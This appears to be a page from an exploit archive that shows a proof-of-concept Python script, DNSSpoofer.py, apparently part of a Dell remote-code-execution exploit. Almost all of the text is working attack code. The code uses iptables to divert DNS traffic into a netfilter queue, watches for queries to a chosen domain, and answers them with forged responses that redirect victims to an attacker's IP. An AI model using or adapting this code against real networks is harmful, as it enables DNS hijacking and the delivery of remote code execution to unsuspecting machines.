4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / DNSSpoofer.py PY
import os
import atexit

from scapy.all import *
from netfilterqueue import NetfilterQueue
from threading import Thread

monitor_domain = ""  # What we want to filter for
server_ip = ""  # What we want to redirect to


class DNSSpoofer:
    def __init__(self, subdomain, local_ip):
        global monitor_domain, server_ip
        monitor_domain = str(subdomain)
        server_ip = local_ip
        self.enable_dns_forwarding()

        self.nfqueue = NetfilterQueue()
        self.nfqueue.bind(1, packet_handler)
        thread = Thread(target=self.start_monitoring, args=(self,))
        thread.start()

        atexit.register(self.on_shutdown, self)
        print("[+] Started DNS Spoofer thread.")

    def start_monitoring(self, arg):
        self.nfqueue.run()


    def enable_dns_forwarding(self):
        os.system("iptables -t raw -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1")
        print("[+] DNS Forwarding enabled.")

    def disable_dns_forwarding(self):
        os.system("iptables -t raw -D PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1")
        print("[+] DNS Forwarding disabled.")

    def on_shutdown(self, arg):
        self.disable_dns_forwarding()


def generate_dns_response(packet):
    global server_ip

    ip = IP(src=packet.dst, dst=packet.src)
    udp = UDP(sport=packet[UDP].dport, dport=packet[UDP].sport)

    dnsrr = DNSRR(rrname=packet[DNSQR].qname, rdata=server_ip)
    dns = DNS(id=packet[DNS].id, qr=1, qd=packet[DNS].qd, an=dnsrr)

    return ip / udp / dns


def packet_handler(packet):
    global monitor_domain

    scapy_packet = IP(packet.get_payload())

    if scapy_packet.haslayer(DNSQR):
        if monitor_domain in str(scapy_packet[DNS].qd.qname):
            print("[+] Dell RCE DNS request received.")
            send(generate_dns_response(scapy_packet), verbose=False)
            return
    packet.accept()